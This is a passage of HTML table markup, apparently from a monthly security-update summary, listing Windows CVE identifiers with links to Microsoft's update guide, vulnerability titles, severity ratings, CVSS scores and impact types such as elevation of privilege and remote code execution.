  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
